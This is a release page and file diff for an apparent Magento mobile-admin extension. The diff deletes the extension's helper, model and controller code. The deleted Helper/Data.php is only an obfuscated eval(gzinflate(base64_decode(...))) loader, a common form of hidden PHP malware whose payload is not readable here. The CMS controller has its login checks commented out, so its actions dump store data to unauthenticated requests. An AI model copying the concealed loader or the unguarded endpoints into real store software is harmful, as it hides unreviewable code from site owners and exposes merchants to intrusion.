Version Notes
You can Now Track you all the Magento Backend Activity Using our Emizentech Magento Mobile Apps . IT has very great feature API to display All the Sales Activity with Graph . You can now easily see all the Magento Orders Listing , Product Listing, Customer Listing .
Features :
* Wonderful View of your Sales with Days Filter Graph
* Sales Listing View with Details.
* Customer Listing View with Details
* Product Listing View With Details
* Store view Selection For Dashboard,
* Multistore Support
Download this release
Release Info
| Developer | Emizen Tech Private Limited |
| Extension | emizenmobileadmin |
| Version | 1.2.0 |
| Comparing to | |
| See all releases | |
Code changes from version 1.1.1 to 1.2.0
- app/code/local/EmizenTech/MobileAdmin/Block/Index.php +0 -8
- app/code/local/EmizenTech/MobileAdmin/Helper/Data.php +0 -3
- app/code/local/EmizenTech/MobileAdmin/Model/Api.php +0 -78
- app/code/local/EmizenTech/MobileAdmin/Model/Emizenmob.php +0 -12
- app/code/local/EmizenTech/MobileAdmin/Model/Mysql4/Emizenmob.php +0 -8
- app/code/local/EmizenTech/MobileAdmin/Model/Mysql4/Emizenmob/Collection.php +0 -12
- app/code/local/EmizenTech/MobileAdmin/Model/Observer.php +0 -87
- app/code/local/EmizenTech/MobileAdmin/controllers/.ConfigurationController.php.swp +0 -0
- app/code/local/EmizenTech/MobileAdmin/controllers/CmsController.php +0 -97
- app/code/local/EmizenTech/MobileAdmin/controllers/ConfigurationController.php +0 -5471
- app/code/local/EmizenTech/MobileAdmin/controllers/IndexController.php +0 -1891
- app/code/local/EmizenTech/MobileAdmin/controllers/ProductsController.php +0 -352
- app/code/local/EmizenTech/MobileAdmin/controllers/ReportController.php +0 -308
- app/code/local/EmizenTech/MobileAdmin/etc/adminhtml.xml +0 -23
- app/code/local/EmizenTech/MobileAdmin/etc/api.xml +0 -29
- app/code/local/EmizenTech/MobileAdmin/etc/config.xml +0 -134
- app/code/local/EmizenTech/MobileAdmin/etc/system.xml +0 -60
- app/code/local/EmizenTech/MobileAdmin/sql/mobileadmin_setup/mysql4-install-0.1.0.php +0 -29
- app/design/frontend/base/default/layout/mobileadmin.xml +0 -12
- app/design/frontend/base/default/template/mobileadmin/index.phtml +0 -1
- app/etc/modules/EmizenTech_MobileAdmin.xml +0 -13
- lib/EmizenMobileAdmin/PushNotificationAppCertificateKey.pem +0 -66
- package.xml +5 -5
app/code/local/EmizenTech/MobileAdmin/Block/Index.php
DELETED
|
@@ -1,8 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_Block_Index extends Mage_Core_Block_Template{
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Helper/Data.php
DELETED
|
@@ -1,3 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVbHCgTJlfwXXSRRh/IOsYfy3nX5Yi7lvff99erZGdg9BI9nEjIhIvKVVzr86x9/PAT+x0MSvwj/wP3xINQvkr8a84v0D8IPxF+9P2dI7K8z/zuH/F1D/6qhvzn018fFX/73HPFn7//lCPXPJ0hRfo+0roIikyZE7vSFGwve7zBgXaRaASBqwLXSGU6xJ90A7W1xuNonfF3VY7lpzwUSyEOhdUU/PeXZd0ffFX0rdGb3OpVRuo3wFGM/AYDb/DzRR5mAZd6C8dlURuXJDkrjkf3FQUD5VEAG3FA5X+hlJ9FsrxkmkdHFZfJurxZAsc9ByY6X59I6SOMToptkiNtijLqZDDJHQ+5BJeMN1KQmm81w6prPn/fZIT5u2v3t6OTNAY9DYMkoPkST3oDCZ2jMTvegE9/iPL9eSxlMa4Ese2hLoomZtU/TuU/+aSKlZoypSRkACL5rD96IDxYHCBI2ASJnIJXxW9GYi9Jg/0n7OPFr93rpFcHYFNfwLvrakwGR9GYZTNc3EIf01BvKJYH4m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PdjTJ8r9Ci9oC1ceyeNBctRRM7q15ZHLYKyeXF5fMBFyOOoVGPsOyuTCToRqrVUrbLsugkS3TXFt8nREfNYWLcHv8N50Wm0RDGEULJczOqyh3NIrEdvStMI0iV6Z1VbpLsS2HWU6Bj3DjnPgNmg+MawbSYt7w5l8OFoS2DwfycxXrfePWob2jHUJFvgvGJyjRggzudsV8e+2/tJi7Z+euqc8ZIwJjpvnBmkHh+Rvyvk06zSfHf8TzTOxyPbvJ9+UR2oJWKkljUR57/9kN6/j2DC6gatNHnwwkf5Qpt2EJTNNNOW/G3jr49wbsjGgmG07DhwxPv21V8oqTZtj1vkXTXFiI3dMAnlJ9hrEhQ8Xl8UxVqYNvldgY+igiPTdW6TA0piZqmU8FBSVWz4WOU2fFxq0b9Xf9hguFONorK6jh3xZ9FYkxEOEdhY397kPWHADJGjyXhxcFRlBAVuRX8SUHAMkvCN7aT8z/88/fdk//H1D2H//+z38B'\x29\x29\x29\x3B");
|
| 3 |
-
?>
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Model/Api.php
DELETED
|
@@ -1,78 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_Model_Api extends Mage_Api_Model_Resource_Abstract
|
| 3 |
-
{
|
| 4 |
-
/* @method: $soap->call($session_id,'mobileadmin_api.create',$data);
|
| 5 |
-
* @param: $data
|
| 6 |
-
*/
|
| 7 |
-
public function create($data)
|
| 8 |
-
{
|
| 9 |
-
$collections = Mage::getModel("mobileadmin/emizenmob")
|
| 10 |
-
->getCollection()
|
| 11 |
-
->addFieldToFilter('username',Array('eq'=>$data['user']))
|
| 12 |
-
->addFieldToFilter('apikey',Array('eq'=>$data['key']))
|
| 13 |
-
->addFieldToFilter('device_token',Array('eq'=>$data['devicetoken']));
|
| 14 |
-
$count = count($collections);
|
| 15 |
-
//return $count;
|
| 16 |
-
if($count == 0)
|
| 17 |
-
{
|
| 18 |
-
Mage::getModel("mobileadmin/emizenmob") // load model to save user detail in database
|
| 19 |
-
->setUsername($data['user'])
|
| 20 |
-
->setFirstname($data['firstname'])
|
| 21 |
-
->setLastname($data['lastname'])
|
| 22 |
-
->setEmail($data['email'])
|
| 23 |
-
->setApikey($data['key'])
|
| 24 |
-
->setDeviceToken($data['devicetoken'])
|
| 25 |
-
->setDeviceType($data['device_type'])
|
| 26 |
-
->setNotificationFlag($data['notification_flag'])
|
| 27 |
-
->save();
|
| 28 |
-
}
|
| 29 |
-
//return $count;
|
| 30 |
-
if($count == 1)
|
| 31 |
-
{
|
| 32 |
-
foreach($collections as $user)
|
| 33 |
-
{
|
| 34 |
-
$user_id = $user->getUserId();
|
| 35 |
-
$flag = $user->getNotificationFlag();
|
| 36 |
-
}
|
| 37 |
-
if($flag != $data['notification_flag'] || $data['is_logout'] != 1)
|
| 38 |
-
{
|
| 39 |
-
try
|
| 40 |
-
{
|
| 41 |
-
$prefix = Mage::getConfig()->getTablePrefix();
|
| 42 |
-
$connection = Mage::getSingleton('core/resource')->getConnection('core_write');
|
| 43 |
-
$connection->beginTransaction();
|
| 44 |
-
$fields = array();
|
| 45 |
-
$fields['notification_flag'] = $data['notification_flag'];
|
| 46 |
-
$fields['is_logout'] = $data['is_logout'];
|
| 47 |
-
$where = $connection->quoteInto('user_id =?', $user_id);
|
| 48 |
-
$connection->update($prefix.'emizenmob', $fields, $where);
|
| 49 |
-
$connection->commit();
|
| 50 |
-
}
|
| 51 |
-
catch (Exception $e)
|
| 52 |
-
{
|
| 53 |
-
return $e->getMessage();
|
| 54 |
-
}
|
| 55 |
-
}
|
| 56 |
-
}
|
| 57 |
-
|
| 58 |
-
$successArr[] = array('success_msg' => 'Login sucessfully','session_id' => $data['session_id'],'firstname' => $data['firstname'],'lastname' => $data['lastname'],'email' => $data['email']) ; // return logged in status
|
| 59 |
-
|
| 60 |
-
foreach(Mage::app()->getWebsites() as $website)
|
| 61 |
-
{
|
| 62 |
-
foreach ($website->getGroups() as $group)
|
| 63 |
-
{
|
| 64 |
-
$stores = $group->getStores();
|
| 65 |
-
foreach ($stores as $store)
|
| 66 |
-
{
|
| 67 |
-
$storeArr[] = array('id' =>$store->getId(),
|
| 68 |
-
'name' => $store->getName()
|
| 69 |
-
);
|
| 70 |
-
}
|
| 71 |
-
}
|
| 72 |
-
}
|
| 73 |
-
$isPos = 0;
|
| 74 |
-
$result = array('success' => $successArr,'stores' => $storeArr,'is_pos' => $isPos);
|
| 75 |
-
return $result;
|
| 76 |
-
}
|
| 77 |
-
|
| 78 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Model/Emizenmob.php
DELETED
|
@@ -1,12 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
|
| 3 |
-
class EmizenTech_MobileAdmin_Model_Emizenmob extends Mage_Core_Model_Abstract
|
| 4 |
-
{
|
| 5 |
-
protected function _construct(){
|
| 6 |
-
|
| 7 |
-
$this->_init("mobileadmin/emizenmob");
|
| 8 |
-
|
| 9 |
-
}
|
| 10 |
-
|
| 11 |
-
}
|
| 12 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Model/Mysql4/Emizenmob.php
DELETED
|
@@ -1,8 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_Model_Mysql4_Emizenmob extends Mage_Core_Model_Mysql4_Abstract
|
| 3 |
-
{
|
| 4 |
-
protected function _construct()
|
| 5 |
-
{
|
| 6 |
-
$this->_init("mobileadmin/emizenmob", "user_id");
|
| 7 |
-
}
|
| 8 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Model/Mysql4/Emizenmob/Collection.php
DELETED
|
@@ -1,12 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_Model_Mysql4_Emizenmob_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract
|
| 3 |
-
{
|
| 4 |
-
|
| 5 |
-
public function _construct(){
|
| 6 |
-
$this->_init("mobileadmin/emizenmob");
|
| 7 |
-
}
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
}
|
| 12 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/Model/Observer.php
DELETED
|
@@ -1,87 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_Model_Observer
|
| 3 |
-
{
|
| 4 |
-
private static $_handleCustomerFirstOrderCounter = 1;
|
| 5 |
-
private static $_handleCustomerFirstRegisterNotificationCounter = 1;
|
| 6 |
-
|
| 7 |
-
// when order palaced then will be notificate
|
| 8 |
-
public function salesOrderSaveAfter(Varien_Event_Observer $observer)
|
| 9 |
-
{
|
| 10 |
-
if(Mage::getStoreConfig('emizen_mob/emizen_general/enabled'))
|
| 11 |
-
{
|
| 12 |
-
if(self::$_handleCustomerFirstOrderCounter > 1)
|
| 13 |
-
{
|
| 14 |
-
return $this;
|
| 15 |
-
}
|
| 16 |
-
self::$_handleCustomerFirstOrderCounter++;
|
| 17 |
-
$result = Mage::helper('mobileadmin')->pushNotification('order');
|
| 18 |
-
|
| 19 |
-
$quoteId = $observer->getEvent()->getOrder()->getData('quote_id');
|
| 20 |
-
$quote = Mage::getModel('sales/quote')->load($quoteId);
|
| 21 |
-
$method = $quote->getCheckoutMethod(true);
|
| 22 |
-
|
| 23 |
-
if ($method=='register')
|
| 24 |
-
{
|
| 25 |
-
Mage::dispatchEvent('customer_register_checkout',
|
| 26 |
-
array(
|
| 27 |
-
'customer' => $observer->getEvent()->getOrder()->getCustomer()
|
| 28 |
-
)
|
| 29 |
-
);
|
| 30 |
-
}
|
| 31 |
-
}
|
| 32 |
-
}
|
| 33 |
-
|
| 34 |
-
// when customer registerd then will be notificate
|
| 35 |
-
public function customerRegisterNotification(Varien_Event_Observer $observer)
|
| 36 |
-
{
|
| 37 |
-
//return true;
|
| 38 |
-
if(Mage::getStoreConfig('emizen_mob/emizen_general/enabled'))
|
| 39 |
-
{
|
| 40 |
-
$customer = $observer->getEvent()->getCustomer();
|
| 41 |
-
if($customer)
|
| 42 |
-
{
|
| 43 |
-
$customer_id = $customer->getId();
|
| 44 |
-
}
|
| 45 |
-
if($customer_id)
|
| 46 |
-
{
|
| 47 |
-
$result = Mage::helper('mobileadmin')->pushNotification('customer');
|
| 48 |
-
//echo "<pre>"; print_r($result); die;
|
| 49 |
-
}
|
| 50 |
-
}
|
| 51 |
-
}
|
| 52 |
-
|
| 53 |
-
// when customer registerd using checkout process then will be notificate
|
| 54 |
-
public function customerRegisterNotificationCheckout(Varien_Event_Observer $observer)
|
| 55 |
-
{
|
| 56 |
-
$customer = $observer->getEvent()->getCustomer();
|
| 57 |
-
if ($customer)
|
| 58 |
-
{
|
| 59 |
-
$customer_id = $customer->getId();
|
| 60 |
-
$result = Mage::helper('mobileadmin')->pushNotification('customer');
|
| 61 |
-
}
|
| 62 |
-
}
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
public function saveOrderAfter(Varien_Event_Observer $observer)
|
| 66 |
-
{
|
| 67 |
-
//$order = $observer->getEvent()->getOrder(); //I don't know why this returns null for you. It shouldn't
|
| 68 |
-
//or for multishipping
|
| 69 |
-
//$order = $observer->getEvent()->getOrders(); //you should get an array of orders
|
| 70 |
-
//for the quote
|
| 71 |
-
$quote = $observer->getEvent()->getOrder();
|
| 72 |
-
$items = $quote->getAllVisibleItems();
|
| 73 |
-
$aa = array();
|
| 74 |
-
foreach($items as $item)
|
| 75 |
-
{
|
| 76 |
-
// echo $item->getName();
|
| 77 |
-
$aa[] = $item->debug();
|
| 78 |
-
$quote->setSupplierProductName($item->getName());
|
| 79 |
-
// custom code to update order or any thing
|
| 80 |
-
}
|
| 81 |
-
$quote->save();
|
| 82 |
-
Mage::log($aa, null, "cart_android.log");
|
| 83 |
-
die;
|
| 84 |
-
|
| 85 |
-
|
| 86 |
-
}
|
| 87 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/controllers/.ConfigurationController.php.swp
DELETED
|
Binary file
|
app/code/local/EmizenTech/MobileAdmin/controllers/CmsController.php
DELETED
|
@@ -1,97 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_CmsController extends Mage_Core_Controller_Front_Action{
|
| 3 |
-
|
| 4 |
-
public function cmsPagesListAction()
|
| 5 |
-
{
|
| 6 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 7 |
-
{
|
| 8 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 9 |
-
// $sessionId = $post_data['session'];
|
| 10 |
-
// if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
|
| 11 |
-
// {
|
| 12 |
-
// echo $this->__("The Login has expired. Please try log in again.");
|
| 13 |
-
// return false; // return logged out
|
| 14 |
-
// }
|
| 15 |
-
|
| 16 |
-
$cmsPageLoad = Mage::getModel('cms/page')->getCollection();
|
| 17 |
-
|
| 18 |
-
$cmsArrayVal = array();
|
| 19 |
-
//$cmsPagesList = array();
|
| 20 |
-
foreach ($cmsPageLoad as $value)
|
| 21 |
-
{
|
| 22 |
-
$cmsArrayVal['page_id'] = $value->getPageId();
|
| 23 |
-
$cmsArrayVal['url_key'] = $value->getIdentifier();
|
| 24 |
-
$cmsArrayVal['title'] = $value->getTitle();
|
| 25 |
-
$cmsArrayVal['is_active'] = $value->getIsActive();
|
| 26 |
-
$cmsArrayVal['status'] = ($value->getIsActive() == 1 ? 'Enabled' : 'Disabled');
|
| 27 |
-
//$cmsArrayVal['sort_order'] = $value->getSortOrder();
|
| 28 |
-
//$cmsArrayVal['content'] = $value->getContent();
|
| 29 |
-
$cmsPagesList[] = $cmsArrayVal;
|
| 30 |
-
}
|
| 31 |
-
|
| 32 |
-
echo "<pre>"; print_r($cmsPagesList); die;
|
| 33 |
-
|
| 34 |
-
}
|
| 35 |
-
else
|
| 36 |
-
{
|
| 37 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 38 |
-
}
|
| 39 |
-
$isEnable = Mage::helper('core')->jsonEncode($cmsArrayVal);
|
| 40 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 41 |
-
}
|
| 42 |
-
|
| 43 |
-
public function getCmsPageContentByIdAction()
|
| 44 |
-
{
|
| 45 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 46 |
-
{
|
| 47 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 48 |
-
// $sessionId = $post_data['session'];
|
| 49 |
-
// if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
|
| 50 |
-
// {
|
| 51 |
-
// echo $this->__("The Login has expired. Please try log in again.");
|
| 52 |
-
// return false; // return logged out
|
| 53 |
-
// }
|
| 54 |
-
|
| 55 |
-
$page_id = $post_data['page_id'];
|
| 56 |
-
|
| 57 |
-
$cmsPageLoadById = Mage::getModel('cms/page')->load($page_id);
|
| 58 |
-
|
| 59 |
-
$pageDetailArray = array();
|
| 60 |
-
|
| 61 |
-
$pageDetailArray['page_id'] = $cmsPageLoadById->getPageId();
|
| 62 |
-
$pageDetailArray['title'] = $cmsPageLoadById->getTitle();
|
| 63 |
-
$pageDetailArray['url_key'] = $cmsPageLoadById->getIdentifier();
|
| 64 |
-
$pageDetailArray['is_active'] = $cmsPageLoadById->getIsActive();
|
| 65 |
-
$pageDetailArray['content_heading'] = $cmsPageLoadById->getContentHeading();
|
| 66 |
-
|
| 67 |
-
$storeDetail = Mage::getModel('core/store')->load(1);
|
| 68 |
-
|
| 69 |
-
// echo "<pre>"; print_r($storeDetail->getData()); die;
|
| 70 |
-
echo "<pre>"; print_r($cmsPageLoadById->getData()); die;
|
| 71 |
-
|
| 72 |
-
}
|
| 73 |
-
else
|
| 74 |
-
{
|
| 75 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 76 |
-
}
|
| 77 |
-
$isEnable = Mage::helper('core')->jsonEncode($cmsArrayVal);
|
| 78 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 79 |
-
}
|
| 80 |
-
|
| 81 |
-
public function checkAction()
|
| 82 |
-
{
|
| 83 |
-
$collectionProductType = Mage::getModel('catalog/product_type')->getOptionArray();
|
| 84 |
-
|
| 85 |
-
$valArr = array();
|
| 86 |
-
foreach ($collectionProductType as $key => $value)
|
| 87 |
-
{
|
| 88 |
-
$valArr['value'] = $key;
|
| 89 |
-
$valArr['label'] = $value;
|
| 90 |
-
$options['productTypeList'][] = $valArr;
|
| 91 |
-
}
|
| 92 |
-
|
| 93 |
-
echo "<pre>"; print_r($options);
|
| 94 |
-
}
|
| 95 |
-
|
| 96 |
-
}
|
| 97 |
-
?>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/controllers/ConfigurationController.php
DELETED
|
@@ -1,5471 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_ConfigurationController extends Mage_Core_Controller_Front_Action{
|
| 3 |
-
|
| 4 |
-
/***** Start General Section *****/
|
| 5 |
-
|
| 6 |
-
public function countriesOptionsAction()
|
| 7 |
-
{
|
| 8 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 9 |
-
{
|
| 10 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 11 |
-
$sessionId = $post_data['session'];
|
| 12 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 13 |
-
{
|
| 14 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 15 |
-
return false;
|
| 16 |
-
}
|
| 17 |
-
|
| 18 |
-
try
|
| 19 |
-
{
|
| 20 |
-
|
| 21 |
-
$storeId = $post_data['store'];
|
| 22 |
-
|
| 23 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 24 |
-
|
| 25 |
-
//Mage::log($sessionId,null,"cart_android.log");
|
| 26 |
-
//Mage::log($storeId,null,"cart_android.log");
|
| 27 |
-
|
| 28 |
-
// Default countries Process
|
| 29 |
-
$countryAcion['countries'] = Mage::getModel('directory/country')->getResourceCollection()->load()->toOptionArray(false);
|
| 30 |
-
|
| 31 |
-
//$countryValue = $post_data['countryVal'];
|
| 32 |
-
if(isset($post_data['countryVal']))
|
| 33 |
-
{
|
| 34 |
-
if($storeId == 0)
|
| 35 |
-
{
|
| 36 |
-
Mage::getConfig()->saveConfig('general/country/default', $post_data['countryVal']);
|
| 37 |
-
Mage::getConfig()->saveConfig('general/country/default', $post_data['countryVal'], 'stores', $storeId);
|
| 38 |
-
}
|
| 39 |
-
else
|
| 40 |
-
{
|
| 41 |
-
//Mage::getConfig()->saveConfig('general/country/default', $countryValue);
|
| 42 |
-
Mage::getConfig()->saveConfig('general/country/default', $countryValue, 'stores', $storeId);
|
| 43 |
-
}
|
| 44 |
-
|
| 45 |
-
$countryAcion['successMessage'] = "Default Country Has Been Saved On ".$storeName." Store.";
|
| 46 |
-
|
| 47 |
-
Mage::getConfig()->reinit();
|
| 48 |
-
Mage::app()->reinitStores();
|
| 49 |
-
}
|
| 50 |
-
$countryAcion['selectedCountryValue'] = Mage::getStoreConfig('general/country/default', $storeId);
|
| 51 |
-
|
| 52 |
-
//Mage::log($countryAcion['selectedCountryValue'],null,"cart_android.log");
|
| 53 |
-
|
| 54 |
-
$countryAcion['selectedCountryLabel'] = Mage::getModel("directory/country")->load($countryAcion['selectedCountryValue'])->getName();
|
| 55 |
-
//Mage::log($countryAcion['selectedCountryLabel'],null,"cart_android.log");
|
| 56 |
-
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
// Allow Countries Process
|
| 60 |
-
//Mage::log($countryAcion['allowCountriesStatus'],null,"cart_android.log");
|
| 61 |
-
//$allowCountriesValue = $post_data['allowCountryVal'];
|
| 62 |
-
if(isset($post_data['allowCountryVal']))
|
| 63 |
-
{
|
| 64 |
-
$csv = implode(",", $post_data['allowCountryVal']);
|
| 65 |
-
// Mage::log($storeId,null,"cart_android.log");
|
| 66 |
-
// Mage::log($csv,null,"cart_android.log");
|
| 67 |
-
$config = Mage::getModel('core/config');
|
| 68 |
-
//Mage::getConfig()->saveConfig('general/country/allow', $csv, 'default', $storeId);
|
| 69 |
-
if($storeId == 0)
|
| 70 |
-
{
|
| 71 |
-
Mage::getConfig()->saveConfig('general/country/allow', $csv, 'default', $storeId);
|
| 72 |
-
}
|
| 73 |
-
else
|
| 74 |
-
{
|
| 75 |
-
Mage::getConfig()->saveConfig('general/country/allow', $csv, 'stores', $storeId);
|
| 76 |
-
}
|
| 77 |
-
$countryAcion['successMessage'] = "Allow Countries Has Been Saved On ".$storeName." Store.";
|
| 78 |
-
//Mage::log($countryAcion['successMessage'],null,"cart_android.log");
|
| 79 |
-
Mage::getConfig()->reinit();
|
| 80 |
-
Mage::app()->reinitStores();
|
| 81 |
-
}
|
| 82 |
-
$allowCountriesSelectedValue = Mage::getStoreConfig('general/country/allow', $storeId);
|
| 83 |
-
$explodedVal = explode(",", $allowCountriesSelectedValue);
|
| 84 |
-
foreach ($explodedVal as $value)
|
| 85 |
-
{
|
| 86 |
-
$allowValue['val'][] = $value;
|
| 87 |
-
}
|
| 88 |
-
//Mage::log($storeId,null,"cart_android.log");
|
| 89 |
-
//Mage::log($allowValue['val'],null,"cart_android.log");
|
| 90 |
-
foreach ($countryAcion['countries'] as $value)
|
| 91 |
-
{
|
| 92 |
-
//Mage::log($value['value'],null,"cart_android.log");
|
| 93 |
-
if(in_array($value['value'], $allowValue['val']))
|
| 94 |
-
{
|
| 95 |
-
$counVal['value'] = $value['value'];
|
| 96 |
-
$counVal['label'] = $value['label'];
|
| 97 |
-
$counVal['status'] = 1;
|
| 98 |
-
$countryAcion['allowCountriesStatus'][] = $counVal;
|
| 99 |
-
}
|
| 100 |
-
else
|
| 101 |
-
{
|
| 102 |
-
$counVal['value'] = $value['value'];
|
| 103 |
-
$counVal['label'] = $value['label'];
|
| 104 |
-
$counVal['status'] = 0;
|
| 105 |
-
$countryAcion['allowCountriesStatus'][] = $counVal;
|
| 106 |
-
}
|
| 107 |
-
}
|
| 108 |
-
|
| 109 |
-
|
| 110 |
-
|
| 111 |
-
//Postal Code is Optional for the following countries Pocess
|
| 112 |
-
//$postalCountriesValue = $post_data['postalCountryVal'];
|
| 113 |
-
if(isset($post_data['postalCountryVal']))
|
| 114 |
-
{
|
| 115 |
-
$csv = implode(",", $post_data['postalCountryVal']);
|
| 116 |
-
//Mage::log($csv,null,"cart_android.log");
|
| 117 |
-
$config = Mage::getModel('core/config');
|
| 118 |
-
Mage::getConfig()->saveConfig('general/country/optional_zip_countries', $csv, 'default', 0);
|
| 119 |
-
$countryAcion['successMessage'] = "Postal Code Has Been Saved For The Following Countries On ".$storeName." Store.";
|
| 120 |
-
Mage::getConfig()->reinit();
|
| 121 |
-
Mage::app()->reinitStores();
|
| 122 |
-
}
|
| 123 |
-
$postalCodeSelectedValue = Mage::getStoreConfig('general/country/optional_zip_countries');
|
| 124 |
-
$postalExplodedVal = explode(",", $postalCodeSelectedValue);
|
| 125 |
-
foreach ($postalExplodedVal as $value)
|
| 126 |
-
{
|
| 127 |
-
$postalVal['val'][] = $value;
|
| 128 |
-
}
|
| 129 |
-
|
| 130 |
-
foreach ($countryAcion['countries'] as $value)
|
| 131 |
-
{
|
| 132 |
-
if(in_array($value['value'], $postalVal['val']))
|
| 133 |
-
{
|
| 134 |
-
$postalCounVal['value'] = $value['value'];
|
| 135 |
-
$postalCounVal['label'] = $value['label'];
|
| 136 |
-
$postalCounVal['status'] = 1;
|
| 137 |
-
$countryAcion['postalCountriesStatus'][] = $postalCounVal;
|
| 138 |
-
}
|
| 139 |
-
else
|
| 140 |
-
{
|
| 141 |
-
$postalCounVal['value'] = $value['value'];
|
| 142 |
-
$postalCounVal['label'] = $value['label'];
|
| 143 |
-
$postalCounVal['status'] = 0;
|
| 144 |
-
$countryAcion['postalCountriesStatus'][] = $postalCounVal;
|
| 145 |
-
}
|
| 146 |
-
}
|
| 147 |
-
|
| 148 |
-
